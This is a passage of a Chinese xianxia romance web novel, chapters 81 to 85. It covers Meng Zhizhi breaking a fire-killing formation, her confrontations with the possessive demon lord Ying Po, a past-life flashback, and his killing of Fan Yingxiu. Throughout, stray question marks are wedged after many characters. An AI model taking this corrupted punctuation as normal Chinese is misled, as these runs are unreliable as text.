孟枝枝心里明白?,这是一个真?正的阵法。现在世间?所有阵法皆是往日流传下来?的,当初灵气蓬勃之时,修士们创出了各种奇妙阵法斩妖除魔,当初她击杀水夜叉时遇到的石头阵法是一个,但是那石头阵法残破,无?法发挥最大?的力量,完整的阵法可遇不可求。 没?想到在皇宫之中还有一个完整的阵法,她的目光放在眼前的小道士身?上,他身?上果然有秘密。 李妙湛这时道:“将玉放上去。” 孟枝枝将那枚玉令抛于空中,念道:“急急如律令。” 那墨粉朱砂的玉令便一瞬消失在空中,像是被整个阵法消化了,又或是融为一体。 李妙湛收起手势,道:“时辰有限,你跟紧。” 孟枝枝立马追上他的脚步。 他们刚一踏入竹林,眼前景色又一变,地面是土黄色,石砾滚滚,焦黑一片,空气热辣,像开水往人身?上不断浇。遥望漆黑的天空不断降落无?数火球,它们纷纷砸向地面,李妙湛身?轻如燕,熟练地躲避,孟枝枝无?暇顾及其他,专心致志跟着躲避。 她看得出来?,这火球如果真?砸在身?上,不是闹着玩的。 火球掉落得毫无?规律,周围温度炎热炙烤得人头脑昏涨,孟枝枝刚躲过一球,头顶又掉落一颗。眼见来?不及躲避,她飞速弹出一颗咒枣,两球相?撞,爆发出剧烈一响,她被产生的强烈风波猛地一推,撞到一块焦黑的岩石上,四肢百骸疼痛得动弹不得。 然而,她没?有选择,接下来?落下的火球更?加迅速猛烈,她咬牙站起来?,拉出一道金弓,边躲边射向砸向自己的火球。 邦——邦——邦—— 孟枝枝一手扶着地面,急烈地喘着气,她发现就这么一会儿,李妙湛的身?影就消失不见。 她心中一凛。 现在来?不及想那么多,赶紧脱身?才是正经。她意识到,这个阵法在她翻阅的书中,十分像杀阵。杀阵,威力十足,像其名字,将入阵之人或物绞杀殆尽。越是强大?的杀阵,便越设计得精妙,让猎物无?处可逃。 她发现当她越反抗,这个杀阵的威力越强,难怪李妙湛一入阵便是空手躲避。除非她能?像李妙湛那样掌握躲避规律,但这杂乱无?序的降落方式,压根无?法一时破解。 既然如此?,那不如就赌一赌。 她眼神变得更?加威厉,一拍地面,仰身?抬手,以射月之姿同时射出数箭。 爆炸声瞬间?震耳欲聋,碎裂的焦石如横空出世,晃得地动山摇。 烟尘与?火光之中,孟枝枝腾空出现,周围密密麻麻是数只金箭,将她包裹得像刺猬一样。她一拉起金弓,所有的箭蓄势待发,食指一松,光箭像数千颗流星射出,宛如宇宙爆炸,瞬间?产生出巨大?的白?光,一瞬的烈焰火花将周围所有,连同她整个人吞噬进?去。 无?数火斑遮掩了一切,什么都看不见了,只剩下连绵不绝的巨响,像连锁爆炸,不绝于耳。 躲藏在一旁的李妙湛看见这一幕,心道,选择这样玉石俱焚地破阵,这个孟女官真?当是找死。 突然,一个身?影出现在半空中。她脸上尽是黑烟,衣衫破裂,手中却依然持着那把金弓,一柄绿玉如意正悬在她的头顶,朝她发出治愈的光芒。 第82章 第 82 章 绿玉如意散发着柔和的光, 保护了她。 李妙湛冷了神色。 “李道友,请前来助我。”孟枝枝不快不慢地说着,周身又不断冒出数支金箭,蓄势待发。 新一轮火球眼看?着又要?开始降落, 她缓缓抬起金弓, 将一支金箭搭了上去, 又道:“我会将这些火球通通击碎, 一直在这里等李道友出现。” 很快火球又散落, 数千只箭齐发。 火斑耀眼如日,温度高得令地面上的岩石竟然都?有融化的趋势,表面都?化成了液态。 李妙湛看?着自己脚底滑动,陷进了岩石两寸,衣角被烫出数个小小黑洞。 他这下?知道, 这个鲁莽的女子?是来真?的。 以?杀止杀,亏她想得出来。 灼热的尘埃令四周什?么?都?看?不清,只有靠近绿玉如意才有些些凉意,孟枝枝这次立马拉起弓箭。 数百只弓箭又是蓄势待发。 只待烟尘消散,一道声音终于传来, “是贫道小看?了你。” 李妙湛站在下?方, 仰视着孟枝枝, 道:“收起你那难看?的箭,这里的火球永无?止尽, 等你箭射完,你依然必死于此地。” 孟枝枝面不改色道:“多谢李道友救助之恩。” 李妙湛道:“谁想救……” 他重重哼了一声,一挥袖道:“随我来。” 孟枝枝立刻跟了上去, 不过她并未收回了金弓,绿玉如意一直悬于她的头顶。 李妙湛这下?脸色变得难看?, 道:“你是想毁了这件法器?” 孟枝枝道:“这里温度太高,我怕伤了我自己。” 李妙湛气得够呛,道:“用不着,这里不稍一会儿?就会散去热量,你用清凉术足以?。” 见此状,孟枝枝才收回了绿玉如意,她没有错过李妙湛恶狠狠的眼神。 她假装没看?见他的神情,道:“还请赐教。” 李妙湛转过身,身法熟练,道:“贫道只演示一次,你再跟不上来,也别怪贫道。” 这次孟枝枝不敢大意,努力记住李妙湛的步法。 然而没想到?李妙湛讲道:“此地为火,水克火。” 孟枝枝一瞬明白,她该走属水方位,但?此地根本难分东西南北方,她需先随李妙湛走一次,才能确认。她一步也不敢错过,只能全信任李妙湛的带路,有好几步路,她甚至心底存疑,但?见李妙湛走过后?,才放下?些心。 她终于明白这个杀阵为什?么?难破,五行相克基础理论?谁都?懂,但?在这里罗盘都?不起作用,借助不了工具,就只能靠八卦推演。如果时间够长自然也能推演出来,但?火球不等人,何况每一次火球降落地方错综复杂,都?会打乱方位,要?从头演算一遍,时间一到?,无?数火球落下?,破阵者迟早被消耗殆尽,也是必死局面。 她心里更觉得李妙湛神秘,他是如何知晓轻松过阵的方式? 两人终于踏过那焦黑的土地,来到?一处岩壁,岩壁上有一阶凸出的石台,站在此处再遥看?那无?数火球降落地面,齐齐划出道道火焰尾巴,竟然也有些许美感。 孟枝枝道:“我出来已?经够晚,是时候回去了,还请李道友带路。” 李妙湛道:“这阵你还没看?完,确定要?回去?” 孟枝枝道:“李道友很想带我去看??” 李妙湛气得脸涨红道:“孟枝枝,你……” 孟枝枝道:“我?” 李妙湛脸上颜色五彩缤纷,终于停在了黑脸上,道:“出去,走。” 他转过身,直直跳下?。 孟枝枝跟随在他之后?,没想到?出阵速度极快,看?似死路,实则却是可以?通过的,她默默记下?这一切。 他们脱离阵法后?,一枚青花朱砂玉令在空中悬挂着。 孟枝枝看?了一眼李妙湛,就看?他毫不客气道:“看?贫道作甚,还不快收回来?” 孟枝枝手一招,那枚青花朱砂玉令便躺在了她的掌心。 她递了过去。 李妙湛道:“此物你先留着。” 孟枝枝不懂他,有些踌躇。 “怕贫道下?咒害你?” 孟枝枝听闻此言,不再犹豫,将玉令收入了囊中,道:“李道友如果需要?,我随时奉还。” 李妙湛心下?几分不爽,他抬头看?着天际,道:“你回去吧。” 他消失原地。四处都?寻觅不到?他的踪影。 孟枝枝发觉,他应该是又进了那阵法,难怪一直没有人能发现李妙湛的痕迹。 她刚要?抬脚,就见赢破站在不远处,凝视着她。 她心有不定,转身就要离去。 “慢着。孟芷,你好大的胆子?,将那两个宫女私藏在此处。”赢破开了口。 孟枝枝立马回头道:“你把她们怎么了?” 赢破上前,道:“你觉得的呢?” 孟枝枝提剑横在了他的脖颈之中。 “你要?杀了孤?”赢破眸底阴沉,他抓住那柄剑。 护她剑血红的剑身闪耀着光芒,他的掌心顿时稀出黑气,点点血迹如墨水一般挥洒地面。 孟枝枝双眸纹丝不动,赢破在她的眼中看?不出任何动容,嘴角下?撇,握住她的剑绕了一圈,反割向她的脖颈,护她剑有护主的心思,顿时缩小,变得手指长短。 赢破将那护她剑攥在掌心,袖子?一挥,将她反手制住,道:“不自量力。你连九重天君都?打不过,还能杀得了孤?” 孟枝枝想反抗,才发现力有未逮,如今的赢破功力深不可测,又夺回另一颗魔眼,要?正面敌过他太难了。 他紧贴着她的耳廓,道:“是孤太纵着你。孤给过你那么?多机会,你都?不珍惜。孟芷,你的心是石头做的吗?” 孟枝枝被勒得难受,道:“我不及你,凌恒魔君拥有了一颗心之后?,没看?出有什?么?变化,一如过往阴险狡诈。” 赢破眸光一缩,视线落到?她的脸庞上,嘴里突然道:“枝枝。” 孟枝枝浑身一僵,用尽全力反手一掌拍向他的肩膀。 只一瞬,赢破一切都?明白了。 他将手摸了摸她曾打中的地方,道:“难怪你如此不信孤。” 孟枝枝心铃大震,难道他真?的像她一样回来了。她眼中敌意浓厚,道:“这样逗弄别人,你觉得很有趣?” 赢破看?她像一只炸了毛的猫,反倒放松下?来,道:“怎么?,孤叫不得你枝枝?还是说曾经有这么?一个人,让你恨上心头,偏偏又老唤你枝枝,让你这般受不了?” 孟枝枝道:“是。枝枝是我的小名,只有师父和我最好的朋友能叫。我与凌恒魔君道不同不相为谋,还是不要?叫得这么?亲切为妙,免得我将凌恒魔君与我恨的那人挂钩。” 赢破道:“这世上恨孤的人不在少数,恨意是个好东西,让人绝地求生,不甘毁灭。你如此恨那个人,他对你很不好?” 孟枝枝侧过身,道:“这是我和他之间的事。” 赢破将她的手腕捉住,道:“可他影响了我们之间。孤倒想知道你为什?么?这么?恨他?” 孟枝枝气笑了,道:“我们之间?凌恒魔君你在说笑话吗?我与你从来都?是各走各路,我不知道为什?么?你对我纠缠不放,是还在怪我当初放弃了你?你如今法力高深,仙誓又被你打破,这世间对你毫无?制约,你为什?么?偏偏要?留我在此地?” 赢破将她拉紧,道:“可你一直紧盯着孤不是?你说过孤一旦屠城杀人,你就要?杀了孤。孟芷,不要?这么?心口不一,你很怕孤会做坏事。” 孟枝枝将手抽回,挣脱不开,脸都?憋红了,冷眸相对,道:“我是修道之人,自然以?天下?苍生为己任,我帮过你,但?我不想帮了你是我这生做得最错的事。” 赢破道:“帮孤会成为最错的事?孟芷,难道在你眼中,和那些人一样认为孤的所作所为皆是错的?人无?法选择自己的出生和处境,孤被囚禁多年,身边之人骂孤辱孤,纷纷想让孤去死。只有你,没那么?想让孤死。你说你心怀天下?,那些人真?就这么?值得你如此付出?私藏宫女,搏杀九重天君,一次次打孤的脸。只有柔弱之人才得你怜爱,孟芷,你不觉得你很不公平吗?” 孟枝枝道:“难道凌恒魔君想说自己很可怜?这世间生命珍贵,容不得‘强者’践踏。就算那些人对你不起,现在你一揽大权,对你有仇的,你都?报了,我不知道你到?底还在图什?么??难道天下?大乱才是你想看?到?的局面?以?己之遭遇,牵连无?辜之人,你没什?么?好让人可怜的。” 赢破看?着少女脸如皎月,一双星眸临空,道:“人总要?为自己思量。你以?为孤不放过仙门,仙门之人就会放过孤?你看?着吧,任何一个想踩在孤身上的人,孤都?不会放过。下?一步该怎么?下?这盘棋?是引蛇出洞,还是一网打尽,亦或是……” 他的目光集中她的脸上,孟枝枝撇开眼神,身体一个翻转,拉开了两人的距离,道:“你慢慢思索。得道者多助,失道者寡助,凌恒魔君,你不会赢。” 她翩然离去。 赢破空中一抓,没抓紧那红绳,声音很低道:“孟芷,让你求孤就这么?难?” 他闭上眼眸,再次睁开看?着钦天宝塔,唤来水鬼,道:“送去千霄宫的信到?了吗?” 水鬼道:“皆已?妥当,属下?亲眼看?见千霄宫的人接了信。” 赢破将手放在身前。 “好,危机当头,就看?看?他们如何选择。” 第83章 第 83 章 当看到元青她们安好, 孟枝枝不由松了口气。她连夜将她们送回宫女殿之后,回到了自己的房间?里?,心中却一直摇摆不定。 他到底是不是知道上一世的事? 他叫她枝枝,多番试探, 难道他也回来了? 孟枝枝不解, 倘若是上一世的凌恒魔君知晓了往事, 怎么会对她诸多容忍, 难道就因为?长出一颗心?她不信上一世的凌恒魔君会心软至此, 仙门之那么多人?对他嘴上不留情,他回来之后还能隐忍到现在实在不像他的性格,又或者赢破通过?其他方式知晓了上一世的事? 她脑里?翻江倒海,仔细思考,低语道:“难道是魂河?魂河可以?让迷惘的灵魂不断回忆往事, 他当时?那样胡言乱语,是分不清上一世和这一世的事情。” 她想,她能重生归来,多亏那枚风绒赠与的那枚神印。 如果赢破也同?她一样,时?光倒流, 他变得有些不像他了。如果他真的是当初那个?人?, 他也一定知道她是绝不可能愿意与他有什么瓜葛!她看不清这一世赢破的所?作所?为?, 他究竟在想什么呢?他究竟想要什么? 一片黑暗里?,孟枝枝感觉自己仿佛陷入了一个?死结之中, 她闭上眼睛。 临崖之上,孟枝枝被仙门之人?追赶至此,云庭带着众人?将她包围住。她难以?忘记, 刚刚赢破一听闻樊盈绣的马车出了事就飞奔而去,引得所?有矛头都对准了她。 云庭道:“那魔头作恶多端, 残害生灵,而你助纣为?虐,受死吧!” 孟枝枝双唇苍白,道:“我自问所?做之事,无愧于心。我救了当初那个?在火海中落魄的小皇帝,亦努力挽救所?遇见的每一个?人?,到头来我还是错了。错在识人?不清,错在我不知天?高地?厚。他心中从来没有我,落到这个?结果,我认。” 她低头看那万丈悬崖,回头一笑,眼中眼泪划过?,道:“此生就此别过?,赢破,我与你再无瓜葛。师父,枝枝来了。” 她纵身一跃,所?有人?都围了上去。 “此女被那魔头抛弃,自认走投无路,到头来一场空,可怜之人?必有可恨之处,谁叫她当初非要救那个?魔头!” “罢了,她总归落到这般结局,那魔头骗人?真心,愿这女子来世再也不要遇见这般无良的人?。” “……” 孟枝枝猛然睁开眼,她陡然看见赢破在她床前,一双带血的手正抚摸着她的脸庞,道:“枝枝,那些逼你跳崖的人?我都杀了。” 孟枝枝将他推开,震惊地?打探这四周,道:“你为?什么要救我?” 赢破眸色微颤,道:“你是真心想死?” 孟枝枝道:“赢破,我看错了你,你既然已经选择樊盈绣,为?什么还要救我,又杀了那么多无辜的人?!我做错了事,就该死。” 赢破将她搂紧,道:“你怎么该死?那些仙门之人?口出狂言,不辨是非,你不要将他们的话都听进?去,我已经为?你报了仇,以?后你都不用再怕了。” 孟枝枝眼泪掉落下来,道:“为?我报仇?赢破,你还是执迷不悟!这世上不是所?有人?都该死,就算他们说话难听,那些也都是活生生的人?命!你竟然就这么轻而易举地?盖过?。我当真是看错了你!你要与谁在一起,与我都不相关!我是你舍弃掉的棋子,我真后悔一而再,再而三的帮了你。” 赢破愣住道:“你后悔帮我?” 孟枝枝趁他愣神,狠狠咬在他的肩膀上,赢破吃痛,她趁机挣脱了他的怀抱。 他穿着一身玄色,脸苍白如雪,更映衬得那鲜红的血液骇人?。 孟枝枝道:“对,我后悔了,你根本不懂爱,你也不懂这人?世间?所?有的感情。我帮的是当初火海里?愿意牺牲自己救人?的小皇帝,不是你这个?滥杀无辜的大魔头!” 天?顿时?惊雷,闪电将房屋照得一亮,赢破一脸阴沉,如煞鬼般向孟枝枝走来,道:“你想离开我?做梦!枝枝,我要你亲眼看这天?下都在我的手中,到时?候你就清楚该选择谁了。” 屋外,是仙门之人?追来的声音。 赢破冲了出去,孟枝枝听得窗外那狂风暴雨,剜心般地?痛。 她起了身,推门而出。 雨水冲刷着一地?的血水,浓烈的血腥味刺鼻。 她一步步地?走出去,看见被赢破杀害的人?们躺在水洼中,他们死状惨烈,其中有一濒死之人?抓住了她的脚,道:“我满门被灭,魔头不除,我死不瞑目!” 话毕,那人睁大了眼睛,久久不闭眼。 孟枝枝伸出手,指尖又冰又凉,颤抖地?拂上那人?的眼皮,将他的眼睛盖住。 大雨淋湿了她的衣裳,她看着天?际一片黑沉沉,可怖的闪电不断撕裂天?空,不远处仙门法术引发光束窜动。 赢破只身一人?,杀了一个又一个。 “竖子!今日就是你的死期,快快束手就擒!” 赢破露出残忍的笑容道:“还敢大言不惭,你们以?为?孤走投无路,殊不知今日是孤特意遣散鬼将,以?身为?局,引你们全巢倾出,现在仙门应该全被占领了,你们那些脆弱的小弟子们都死了。” “你……你卑鄙无耻!” 赢破冲刺上前,捏爆了那人?的头,血液溅了他一脸,他眸中闪着妖冶的光。 “诸位道友还等什么,这魔头灭我等满门,今日他必须死于我的剑下,我要为?所?有死去的人?报仇雪恨!” 赢破哈哈大笑,道:“不自量力!” 孟枝枝飞到赢破面前,挡在了那些仙门之人?跟前,道:“放了他们。” 赢破敛住神色,道:“枝枝,让开。” 孟枝枝眼睫颤抖,抽出怀中的护她剑,一剑刺了过?去,剑正中赢破心脏的位置。 赢破难以?置信,道:“你要杀孤?” 孟枝枝将剑刺得更深了,道:“魔鬼,你该死。” “连你也要背叛我?” 孟枝枝冷道:“做错了事,就该受到惩罚。你伤了那么多无辜的性命,他们到底做错了什么?你践踏了性命,还大言不惭地?侮辱他们。生命在你眼里?就是这么可笑的事情吗?” 就算是同?归于尽,就算她这辈子要下地?狱,她也心甘情愿。 她眼前仿佛出现了师父的模样,她道:“师父,我终于有脸去见你了。” 赢破双目猩红,道:“你想离孤而去?永远不可能,孟枝枝。” 孟枝枝她仰起头,灵气暴动,全身经脉爆炸,一瞬间?她变成了血人?,她嘴角却挂着笑。 “孤不许!” 赢破疯狂道:“生生世世,你只能跟孤在一起!” 这诅咒的话语,她再也听不见了。 赢破化作巨形怪物?,白骨掀翻血肉,变成倒刺,似人?非人?,他张开血盆大口,将她一口吞进?了腹中。 孟枝枝额中现出双人?蛇尾的印记。 一道清冷女声响起道:“孟枝枝,神域大门已为?你开启,从此你再也回不到人?界。” 孟枝枝闭着眼道:“不,我不想去神域。” “你想要什么?” 孟枝枝眼角划过?一道泪痕,道:“我要回家?,我想见师父。” “你与你师父缘分已尽,命中注定你们缘分短浅,就算如此,你还要回去吗?” 孟枝枝道:“是,我要跟师父道歉认错。是我抛弃了师父,是枝枝做错了。” “只为?一个?道歉?” 孟枝枝道:“对,我这一生受师父庇佑,到头来我没有为?她做过?些什么,我想回去,告诉她,我很想她。” 她这一颗心千疮百孔,她修道以?来从未想过?羽化成仙,什么神域什么与万物?同?寿,对她来说都不重要,她只想回到师父身边,回到曾属于她们的家?。 “你执意如此,那我便送你回去。只是你要记住,一切选择在你,这一次,你要好好地?选。” 一道白色的光圈将她包裹进?去,温柔又暖和。 孟枝枝道:“谢谢你,风绒。” …… 孟枝枝与赢破同?时?惊醒。 孟枝枝终于想起了所?有,原来上一世她最后选择杀了赢破,是她告诉风绒她不想入神域,而赢破吞噬了她。血流山河,天?地?悲鸣,那般惨状,她定了定神思,她不能坐以?待毙…… 赢破拂上自己的胸口,感受那颗心跳动得剧烈。他紧皱着眉头,原来她说要杀他,她当真做得出来,她早就做过?了一次。 他低声对那颗跳动的心道:“你真愚蠢,临死前都搞不清自己到底想要什么。我与你不同?,我要的,我早就知晓。” 他仰头看着那轮高挂的圆月,上面冷清孤寂,星辰被掩去光芒。多少个?夜晚,他就看着这轮圆月渡过?,无数的记忆都涌现出来。 天?亮了,水鬼前来,道:“陛下,仙门之人?来了。” 赢破双唇轻掀,道:“走。” 他起身,一众鬼将跟在他身后,就见千霄宫一百多人?来了此地?。 为?首的是云庭,他道:“凌恒魔君,我乃千霄宫万剑峰座下大弟子云庭,这次来是想和魔君求和的。” 赢破挑了挑眉,道:“噢?你们派这么多人?是来求和,不是来绞杀孤的?” 云庭满脸肃然,招了招手,就见一蒙面女子从分道的人?群中款款走出来。 樊盈绣道:“阿破,收手吧,仙门无意针对你。只要你愿意收手,我就嫁给你。” 她取下面纱,现出娇艳的面容。 赢破看着那张面容,向她伸出了手。 樊盈绣走上前来,那手还未触到他的手,赢破就掐住了她的下巴。 樊盈绣疑惑道:“阿破?” 赢破嘴角一翘,道:“孤杀了你父亲,你还要嫁孤?” 樊盈绣眸中闪躲,道:“事情我都知道了,我父亲被一只蛇妖占据身躯,阿破,你是为?民除害,我不怪你。” 赢破道:“你当真心胸宽广。” 樊盈绣眼眸一湿,道:“我只想看见天?下太平,阿破你不是说过?只想当个?好皇帝,如今我回来了,你再不是一个?人?,仙门之人?对我多有照拂,你放过?他们吧。” 第84章 第 84 章 赢破拉扯着她?的下巴, 左右打?量着这张脸道:“樊盈绣,你用孤母亲的这张脸用了多年,用得可还满意?” 樊盈绣心惊,道:“阿破你在说什么?我天生?如?此, 你是不是听谁胡说八道了?” 赢破想起来, 那些岁月。 他?吃着她?给来的吃食, 吃得满嘴都是血, 那吃食里藏着小石子还有?细小的陶瓷碎片。 他?抬头看她?。 樊盈绣捧腹大笑, 道:“你快吃啊,阿破。你不吃,我就要生?气了!” 他?低下头,继续吃了起来。 每一次她?来,都是这样捉弄他?的。 那个人们口中的小菩萨, 一点都不像菩萨。 他?还记得,他?在房间里偷偷看到的一副遗留下关于?母亲的画卷,那画卷上的女子穿着蓝纱般的衣物,美丽得不可方物,她?笑着, 手里拿着一根柳枝, 她?的脸被他?深深的记住。 他?有?偷偷见过抱着小孩的夫人们, 小孩不小心摔倒,嘴里喊着娘亲, 夫人会抱着小孩轻声安抚。 那是他?最初对母亲的印象。 当他?第一次见到樊盈绣的时候,就被她?的脸惊住。 贵族少女露出嫌恶的表情,道:“小乞丐, 你怎么敢直视我的?” 她?扇了他?一巴掌,他?还是痴痴地看着。 他?冲她?委屈地叫道:“娘亲。” 贵族少女顿时明白了什么, 她?蹲下身来,看着他?,道:“你说的没错,我就是你的娘亲,我是你娘亲的转世?。你以后都要听我的,但是你不能告诉别人,明白了吗?” 他?沉了沉下巴,“都、都听你的。” 贵族少女冲他?露出一个笑容,那笑容就跟画卷上的一模一样。 赢破摁痛了她?,道:“你母亲生?你难产而?死,你天生?脸部畸形,樊隆那蠢货为了你这张脸,和那蛇妖做了交易,给你换脸。那蛇妖却在你脸上描摹出孤母亲的模样,你就用孤母亲的脸哄骗孤,欺辱孤,樊盈绣,你真当孤是傻子吗?你以为孤真会认为你是孤母亲转世??” 樊盈绣内心大震,从袖下掏出一把剑,凌厉道:“魔头,去死吧!” 赢破不过弹指,那袖剑便短成几?截。 他?掐住了樊盈绣的喉咙,冲千霄宫的人笑道:“孤对这份礼物很满意。” 他?指尖长出长长的指甲,刺进了樊盈绣的皮肤里,血液流淌,众目睽睽之?下,樊盈绣的脸变幻了,变成一张崎岖而?布满蛇鳞的脸。 千霄宫的人看得瞠目结舌。 云庭道:“你竟然修了妖道!” 樊盈绣尖叫,道:“不是的,是他?害我。这本来就是我的脸,你这魔头,你害死我父亲,又?想害我!” 赢破贴近她?的脸庞道:“遮掩不下去了?你往日不是最喜欢唤我阿破吗?娘亲。” 他?这一声娘亲,喊得樊盈绣浑身颤抖,她?道:“快,你们快杀了他?!他?是邪魔!今日再不杀他?,就没机会了!” 云庭提剑而?来,赢破用樊盈绣挡在身前。 一剑贯穿,樊盈绣满脸难以相信,道:“大师兄,你杀我?” 云庭道:“除魔卫道,天经地义。你从人变成妖,吃了不少人的血肉。杀你,理所应当。” 樊盈绣极尽癫狂,道:“我爱你,护你,你竟然分毫不顾我!” 她?挺身向前,双手要去够他?,却被云庭抽剑而?退,她?匍匐在地,拼死也想触摸到他?的衣角。 她?口吐鲜血,道:“我做的这一切都是为了你,到最后都没被你放在眼里,我不甘心!难道你就这么喜欢那个孟枝枝?!” 此话,令赢破眸色一震。 云庭道:“事?到如?今,你还要与她?比,此事?与芝芝毫无关系。” 樊盈绣冷笑道:“我不信。我且看着你,你永远不可能和她?走到最后。”她?气绝身死,那张布满蛇鳞的脸上显出她?竖瞳的眼睛,十分诡异。 赢破拍掌道:“真不愧是仙门,物尽所用。她?真心想为你们杀了孤,云庭,你心中却对她?一点感情都没有?,她?真是可笑。” 云庭道:“把芝芝交出来!” 千霄宫的人大惊,路一剑上前拉住云庭低语道:“大师兄,师父说过,事?败回宫!” 云庭一意孤行,道:“孟芷是我千霄宫弟子,你交出她?,我们就离开。” 赢破冷下一张脸,道:“你们千霄宫不是早就弃了她??她?走不得!” 云庭横剑在前,道:“今日我必须带走她!” 赢破半眯着眼道:“你是不顾你的师弟师妹了?” 他?出掌袭来,云庭以剑挡之?,道:“一剑你们走!” 路一剑急道:“大师兄,我们怎么能独留你在此地?” 云庭几?番出招,被赢破一掌震碎心脉,他?双目充血,道:“这是我欠芝芝的,你们赶紧走!师父会明白我今日所为。” “你们谁也别想走!”赢破接连出招。 云庭见状不对,往地上扔下一枚圆形法器,法器炸裂开,烟雾飘散,路一剑心一横,道:“撤退!” 一百多号人急忙退散,鬼将要追。 赢破道:“都给孤回来。”他?手中正捏着云庭的头颅。 水鬼上前道:“陛下,不趁胜追击?” 赢破道:“他?命在孤手里,孤要千霄宫跪地求饶。你们近日严守皇城,不得放可疑人物进来。” 一众鬼将道:“属下遵命。” 赢破看着云庭气息微弱,道:“你胆子不是一般的大,只身犯险也要救孟芷!你是她?的情郎?” 云庭冷笑一声。 赢破蹲下身,拎起他?的领口道:“这么一心求死,孤不想杀你,孤有?个更好的主意。” 他?在他?耳边低语,云庭目眦欲裂,道:“你休想!” 赢破笑道:“你且看着。” 路一剑带人急忙回宫,他?跪在堂前,道:“师父,都怪我,我没有?拉住大师兄,这下怎么办!那魔头心狠手辣,大师兄会没命的。” 贤剑真君一拍扶手,道:“召集各大仙门,商议绞魔之?事?,救庭儿和枝枝回宫!” 梅珊看着众人面如?死灰,欲言又?止。 待人都走后,无心仙君上前对贤剑真君道:“师兄,仙誓已破,凌恒魔君魔力大增,那些仙门都还在观望。凌恒魔君想对付千霄宫,我怕其他?仙门不会出手。” 贤剑真君道:“师妹放心,他?们一定会来。” 他?似乎胸有?成竹,无心仙君不解。 不出半日,众仙门都派人来到万剑峰上,瑶池宗的望凝君道:“贤剑真君,你传信于?我们所说的事?究竟是真是假?” 贤剑真君道:“自然是真的。” 众人目光顿时变得一紧。 贤剑真君道:“诸位道友,除魔之?事?迫在眉睫,千霄宫还请各位能团结一心,重还天下太平。” 望凝君思索再三,道:“好,我瑶池宗愿意助千霄宫一臂之?力。” “我天师宫也愿意。” “既然贤剑真君都这样说了,我万盛宗自当竭尽全力。” “……” 孟枝枝正在房中仔细擦拭着护她?剑,赢破突然闯了进来。 她?一惊,道:“你来做什么?” 赢破将她?摁在榻上,他?道:“他?在哪儿?” 孟枝枝疑惑不已,道:“谁?” 赢破道:“你要装到什么时候,孟芷。你的小情郎舍了一条命也要来救你,你是不是很感动?” 他?的双唇靠得很近,孟枝枝直接撇过脸,推他?不动,怒道:“你要发神?经别来我这里。” 赢破用手拂在她?的脸庞上,硬逼着她?看着自己?,道:“你讨厌孤,但你也不能喜欢上别人。谁敢喜欢上你,孤就让他?……” 孟枝枝看清他?眸底浓烈的占有?欲,道:“你想如?何?杀人吗?” 赢破眸光一缩,道:“你承认了?” 孟枝枝慢慢将他?的手剥下,双手紧握,赢破的喉结上下动了动。 她?道:“赢破,我没有?喜欢的人。” 赢破的心提到了嗓子眼,又?稳稳沉下,道:“你就这么想保他??孤还记得,你入别院前说过,你不喜欢孤,你有?喜欢的人了。” 孟枝枝道:“是啊,我喜欢的那个人被我亲手杀死了。你觉得我的喜欢很值得吗?” 赢破看她?一张脸冷静得不像话,嘴角一翘,道:“你当真是心狠,喜欢的人,你也能下得了手。怎么,你杀了他?,是因为他?对你不好?” 孟枝枝伸出手拂上他?冰凉的眉眼,道:“是啊,他?为了另一个人抛弃了我,还做了不少恶事?,我就是这样一个人,被我喜欢的人会很倒霉。若是他?不忠不义,我便同归于?尽。” 他?睫毛轻颤,道:“是那个人眼光不好。”他?反手十指紧扣住她?的手。 他?道:“孟芷,你喜欢孤好不好?” 孟枝枝一愣,道:“魔君是不想活了?” 赢破将她?的手伸向自己?的胸膛,那颗心跳得很响,一下又?接着一下,道:“孤杀了樊盈绣。她?长着一张酷似孤母亲的脸,小时候她?就骗孤,她?是孤母亲转世?。孤那时候愚蠢,分明不该信她?,可偏偏舍不得那张脸。今日他?们将她?送来,她?想杀了孤。孟芷,你说这世?间到底有?谁是真心对孤的?” 孟枝枝感受着那心跳跳得有?力而?剧烈,他?那双深情的眼睛令她?灵魂一震,莫名地,她?感觉到他?的孤寂。 樊盈绣竟然被他?亲手杀了…… 这个问题,她?回答不了。 赢破将她?反抱在怀中,孟枝枝要挣扎,他?道:“别动,你一动,孤说不定会忍不住做些别的,你就让孤这样抱着你。” 他?的语气少见地柔和,他?轻轻在她?耳边诉说着过往的事?,从幼时到长大。 她?听得心惊胆战。 他?讲自己?怎么被人关押,怎么上了众贵族的餐盘,又?怎么在鬼母诞子之?日从众贵族的口中抢夺一条命,难怪他?被囚禁到别院,因为那夜要吃他?血肉的人都被诞下的鬼子全吃了。 那时樊隆还尚存一丝人性,知晓自己?求错了妖,挽回樊盈绣一张脸,却助纣为虐,便狠心将他?放逐到别院,那里有?修士强大的封印,他?进不去,赢破也出不来。 他?语气冷静,像是在讲一个旁人的故事?。他?讲自己?怎么饱受封印和鬼子威胁之?苦,如?何溜出来抢食,怎么撞破了宫内的野鸳鸯差点被打?死…… 这一桩桩,一件件,他?都要她?听着。 孟枝枝手指蜷了起来,掐进了掌心。 末了,赢破道:“孟芷,你说,是不是这天下欠孤的?” 第85章 第 85 章 孟枝枝斜眸, 道:“你?想如何?” 赢破将头枕在她的肩头,仿佛他们是?深情缱绻的眷侣般,开口道:“孤要与你?成亲。” 孟枝枝双眸一震。 赢破将她的身体转了过来,握住了她的双肩, 道:“孤已经传令下去, 三日后就是?我们成亲之礼。这两日, 孤会好好陪你?共同筹办婚礼之事。这事你?好好想想清楚, 云庭飞不?出这皇宫, 孤不?会让任何人打扰我们的婚礼。” 孟枝枝冷静道:“我有一个要求。” 赢破那张脸骤然冷了下来,道:“什么?” 孟枝枝抬眸道:“我想去宫外看看。” 赢破微愣,转而嘴角一笑,道:“好。孤陪你?。” 皇城大?门打开,孟枝枝看见城中依然热闹非凡。 摊口叫卖声?不?绝于耳, 那些妖怪大?剌剌地以半人半兽的形态走?在大?街上。 赢破牵住她的手,往一处走?去,他们走?进了一间楼中,里面?摆放着女子所?用的胭脂水粉,还有一些首饰。 店小二是?一只黄鼠狼精, 道:“两位贵客, 大?驾光临, 请问有什么需要的?” 赢破道:“将你?们店最好的首饰拿出来。” 黄鼠狼精立马端来一个红色檀木盒,打开道:“这副金嵌红宝石米珠圆花套装, 分冠、臂钏、项链、耳坠,四?件,乃赫赫有名的珠宝大?师璞玉所?制, 是?本店的镇店之宝。” 赢破直接将那金冠从盒中取出,戴在了孟枝枝的头上, 他欣赏道:“不?错,全要了。” 黄鼠狼精道:“欸,小的这就给您打包。” 